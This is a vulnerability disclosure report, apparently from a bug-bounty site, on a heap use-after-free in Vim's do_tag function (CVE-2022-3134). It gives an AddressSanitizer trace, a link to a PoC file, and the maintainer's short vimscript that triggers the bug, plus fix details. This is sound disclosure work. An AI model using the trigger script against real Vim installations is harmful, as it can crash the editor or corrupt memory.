Use After Free in function do_tag in vim/vim

0

Valid Reported on Sep 3rd 2022

Description

Use After Free in function do_tag at vim/src/tag.c:807.

vim version

```
./vim --version
VIM - Vi IMproved 9.0 (2022 Jun 28, compiled Sep  2 2022 22:56:19)
Included patches: 1-363
```

Proof of Concept

```
./vim -u NONE -i NONE -n -m -X -Z -e -s -S /home/elva/fuzz_vim/test/poc8_hu
==================================================================
==122823==ERROR: AddressSanitizer: heap-use-after-free on address 0x6250000
WRITE of size 4 at 0x62500000c0b8 thread T0
    #0 0x55e4bcacd1c8 in do_tag /home/elva/fuzz_vim/vim/src/tag.c:807
    #1 0x55e4bc7035dc in ex_tag_cmd /home/elva/fuzz_vim/vim/src/ex_docmd.c:
    #2 0x55e4bc7032fa in ex_tag /home/elva/fuzz_vim/vim/src/ex_docmd.c:8974
    #3 0x55e4bc6de148 in do_one_cmd /home/elva/fuzz_vim/vim/src/ex_docmd.c:
    #4 0x55e4bc6d5483 in do_cmdline /home/elva/fuzz_vim/vim/src/ex_docmd.c:
    #5 0x55e4bc6d381d in do_cmdline_cmd /home/elva/fuzz_vim/vim/src/ex_docm
    #6 0x55e4bcb1fc56 in f_assert_fails /home/elva/fuzz_vim/vim/src/testing
    #7 0x55e4bc67417f in call_internal_func /home/elva/fuzz_vim/vim/src/eva
    #8 0x55e4bcb88f41 in call_func /home/elva/fuzz_vim/vim/src/userfunc.c:3
    #9 0x55e4bcb7f833 in get_func_tv /home/elva/fuzz_vim/vim/src/userfunc.c
    #10 0x55e4bcb9540a in ex_call /home/elva/fuzz_vim/vim/src/userfunc.c:55
    #11 0x55e4bc6de148 in do_one_cmd /home/elva/fuzz_vim/vi
    #12 0x55e4bc6d5483 in do_cmdline /home/elva/fuzz_vim/vi
    #13 0x55e4bca05b68 in do_source_ext /home/elva/fuzz_vim/vim/src/scriptf
```

```
    #14 0x55e4bca06d9d in do_source /home/elva/fuzz_vim/vim/src/scriptfile.
    #15 0x55e4bca0385b in cmd_source /home/elva/fuzz_vim/vim/src/scriptfile
    #16 0x55e4bca038c0 in ex_source /home/elva/fuzz_vim/vim/src/scriptfile.

    #17 0x55e4bc6de148 in do_one_cmd /home/elva/fuzz_vim/vim/src/ex_docmd.c
    #18 0x55e4bc6d5483 in do_cmdline /home/elva/fuzz_vim/vim/src/ex_docmd.c
    #19 0x55e4bc6d381d in do_cmdline_cmd /home/elva/fuzz_vim/vim/src/ex_doc
    #20 0x55e4bccdf8a6 in exe_commands /home/elva/fuzz_vim/vim/src/main.c:3
    #21 0x55e4bccd83a3 in vim_main2 /home/elva/fuzz_vim/vim/src/main.c:780
    #22 0x55e4bccd7c2d in main /home/elva/fuzz_vim/vim/src/main.c:432
    #23 0x7f410bacf0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.
    #24 0x55e4bc54462d in _start (/home/elva/fuzz_vim/vim/src/vim+0x14062d)

0x62500000c0b8 is located 8120 bytes inside of 9104-byte region [0x62500000
freed by thread T0 here:
    #0 0x7f410c33540f in __interceptor_free ../../../../src/libsanitizer/as
    #1 0x55e4bc544d1a in vim_free /home/elva/fuzz_vim/vim/src/alloc.c:623
    #2 0x55e4bcc3fe40 in win_free /home/elva/fuzz_vim/vim/src/window.c:5281
    #3 0x55e4bcc35544 in win_free_mem /home/elva/fuzz_vim/vim/src/window.c:
    #4 0x55e4bcc33b7a in win_close /home/elva/fuzz_vim/vim/src/window.c:266
    #5 0x55e4bc6f61e4 in ex_exit /home/elva/fuzz_vim/vim/src/ex_docmd.c:644
    #6 0x55e4bc6de148 in do_one_cmd /home/elva/fuzz_vim/vim/src/ex_docmd.c:
    #7 0x55e4bc6d5483 in do_cmdline /home/elva/fuzz_vim/vim/src/ex_docmd.c:
    #8 0x55e4bcb85336 in call_user_func /home/elva/fuzz_vim/vim/src/userfun
    #9 0x55e4bcb86584 in call_user_func_check /home/elva/fuzz_vim/vim/src/u
    #10 0x55e4bcb88e38 in call_func /home/elva/fuzz_vim/vim/src/userfunc.c:
    #11 0x55e4bcb876ca in call_callback /home/elva/fuzz_vim/vim/src/userfun
    #12 0x55e4bcad139c in find_tagfunc_tags /home/elva/fuzz_vim/vim/src/tag
    #13 0x55e4bcad321c in findtags_apply_tfu /home/elva/fuzz_vim/vim/src/ta
    #14 0x55e4bcadaef1 in find_tags /home/elva/fuzz_vim/vim/src/tag.c:3145
    #15 0x55e4bcacc885 in do_tag /home/elva/fuzz_vim/vim/src/tag.c:687
    #16 0x55e4bc7035dc in ex_tag_cmd /home/elva/fuzz_vim/vim/src/ex_docmd.c
    #17 0x55e4bc7032fa in ex_tag /home/elva/fuzz_vim/vim/src/ex_docmd.c:897
    #18 0x55e4bc6de148 in do_one_cmd /home/elva/fuzz_vim/vim/src/ex_docmd.c
    #19 0x55e4bc6d5483 in do_cmdline /home/elva/fuzz_vim/vim/src/ex_docmd.c
    #20 0x55e4bc6d381d in do_cmdline_cmd /home/elva/fuzz_vim/vim/src/ex_doc
    #21 0x55e4bcb1fc56 in f_assert_fails /home/elva/fuzz_vim/vim/src/testir
    #22 0x55e4bc67417f in call_internal_func /home/elva/fuzz_vim/vim/src/ev
    #23 0x55e4bcb88f41 in call_func /home/elva/fuzz_vim/vim/src/userfunc.c:
    #24 0x55e4bcb7f833 in get_func_tv /home/elva/fuzz_vim/v
    #25 0x55e4bcb9540a in ex_call /home/elva/fuzz_vim/vim/src/userfunc.c:55
```

```
    #26 0x55e4bc6de148 in do_one_cmd /home/elva/fuzz_vim/vim/src/ex_docmd.c
    #27 0x55e4bc6d5483 in do_cmdline /home/elva/fuzz_vim/vim/src/ex_docmd.c
    #28 0x55e4bca05b68 in do_source_ext /home/elva/fuzz_vim/vim/src/scriptf

    #29 0x55e4bca06d9d in do_source /home/elva/fuzz_vim/vim/src/scriptfile.

previously allocated by thread T0 here:
    #0 0x7f410c335808 in __interceptor_malloc ../../../../src/libsanitizer/
    #1 0x55e4bc544a6a in lalloc /home/elva/fuzz_vim/vim/src/alloc.c:246
    #2 0x55e4bc544900 in alloc_clear /home/elva/fuzz_vim/vim/src/alloc.c:17
    #3 0x55e4bcc3ee49 in win_alloc /home/elva/fuzz_vim/vim/src/window.c:505
    #4 0x55e4bcc2af38 in win_split_ins /home/elva/fuzz_vim/vim/src/window.c
    #5 0x55e4bcc297f8 in win_split /home/elva/fuzz_vim/vim/src/window.c:844
    #6 0x55e4bc6f6f9a in ex_splitview /home/elva/fuzz_vim/vim/src/ex_docmd.
    #7 0x55e4bc6de148 in do_one_cmd /home/elva/fuzz_vim/vim/src/ex_docmd.c:
    #8 0x55e4bc6d5483 in do_cmdline /home/elva/fuzz_vim/vim/src/ex_docmd.c:
    #9 0x55e4bca05b68 in do_source_ext /home/elva/fuzz_vim/vim/src/scriptfi
    #10 0x55e4bca06d9d in do_source /home/elva/fuzz_vim/vim/src/scriptfile.
    #11 0x55e4bca0385b in cmd_source /home/elva/fuzz_vim/vim/src/scriptfile
    #12 0x55e4bca038c0 in ex_source /home/elva/fuzz_vim/vim/src/scriptfile.
    #13 0x55e4bc6de148 in do_one_cmd /home/elva/fuzz_vim/vim/src/ex_docmd.c
    #14 0x55e4bc6d5483 in do_cmdline /home/elva/fuzz_vim/vim/src/ex_docmd.c
    #15 0x55e4bc6d381d in do_cmdline_cmd /home/elva/fuzz_vim/vim/src/ex_doc
    #16 0x55e4bccdf8a6 in exe_commands /home/elva/fuzz_vim/vim/src/main.c:3
    #17 0x55e4bccd83a3 in vim_main2 /home/elva/fuzz_vim/vim/src/main.c:780
    #18 0x55e4bccd7c2d in main /home/elva/fuzz_vim/vim/src/main.c:432
    #19 0x7f410bacf0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.

SUMMARY: AddressSanitizer: heap-use-after-free /home/elva/fuzz_vim/vim/src/
Shadow bytes around the buggy address:
  0x0c4a7fff97c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff97d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff97e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff97f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9800: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c4a7fff9810: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd
  0x0c4a7fff9820: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9830: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9840: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9850: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a7fff9860: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
```

```
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07

  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==122823==ABORTING
```

poc download url: https://github.com/Janette88/vim/blob/main/poc8_huaf.dat

Impact

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

CVE
CVE-2022-3134
(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
High (7.8)

Registry
Other

Other

Affected Version
*

Visibility
Public

Status
Fixed

Found by
janette88
@janette88
master

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 729 times.

We are processing your report and will contact the vim team within 24 hours. 3 months ago

We have contacted a member of the vim team and are waiting to hear back 3 months ago

Bram Moolenaar validated this vulnerability 3 months ago

I can reproduce it. The POC can be drastically simplified:
split any
func Mytagfunc2(pat, flags, info)
close
return [{'name' : 'mytag', 'filename' : 'Xtest', 'cmd' : '1'}]
endfunc
set tagfunc=Mytagfunc2
call assert_fails('tag xyz', 'E986:')

janette88 has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar marked this as fixed in **9.0.0388** with commit **ccfde4** 3 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Bram Moolenaar 3 months ago Maintainer

Fixed with patch 9.0.0389

Sign in to join this conversation